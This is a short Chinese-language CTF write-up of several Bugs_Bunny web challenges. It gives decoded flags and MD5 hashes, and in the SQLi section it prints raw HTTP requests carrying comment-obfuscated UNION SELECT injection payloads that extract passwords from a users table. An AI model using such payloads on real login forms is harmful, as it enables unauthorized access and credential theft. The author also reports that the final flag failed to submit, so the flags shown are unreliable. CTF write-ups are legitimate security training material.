(web)Bugs_Bunny_CTF_writeup 部分简单web

1. Nothing here

QnVnc19CdW5ueXs1MjljNDI5YWJkZTIxNzFkMGEyNTU4NDQ3MmFmODIxN30K

 

Bugs_Bunny{529c429abde2171d0a25584472af8217}

  　　2.　　Encryption

修改agent，得到两个hash，

zn8XhqnlBRBetevoFcSQAw0OMVH6Kwj23svbneF1%2B5gDfBdn9osZBfB06cTub4ARg3OTTjsBIG7x

 

zn8XhqnlBRBetevoFcSQAw0OMVH6Kwj23svbneF1+5gDfBdn9osZBfB06cTub4ARg3OTTjsBIG7x

 

 

　　3.Web100

查看DOM，然后解md5

_		"6b07fd4ea837c39e1542e1bbca01a224"

__		"20ee80e63596799a1543bc9fd88d8878"

___

"21232f297a57a5a743894a0e4a801fc3"

 

 

看懂这一部分就OK，

tunisia bunny  admin

inininynusutdamba

Bugs_Bunny{inininynusutdamba}

  4.　SimplePHP

 

 题目很赞，有个两个关键就是覆盖POST和覆盖原来上面定义的两个变量。

 　　5. SQLI

 

GET /LQI_X/?username=a'-0-'&password='or/**/1/**/union/**/select/**/'z'/**/order/**/by/**/1--&login=login HTTP/1.1
Host: 34.253.165.46
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

 

 

GET /LQI_X/?username=a'-1-'&password='or/**/0/**/union/**/select/**/(select/**/password/**/from/**/users/**/limit/**/3,1)/**/--&login=login HTTP/1.1
Host: 34.253.165.46
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Bugs_Bunny{SQLi_Easy_I_Dont_Think}

_Easy_I_Dont_Think}}

Bugs_Bunny{SQLi_Easy_!!_I_Dont_Think}

_Easy_I_Dont_Think

username位置过滤比较严苛，在password注入，题目限制比较坑。最后flag我去提交都不对，有毒。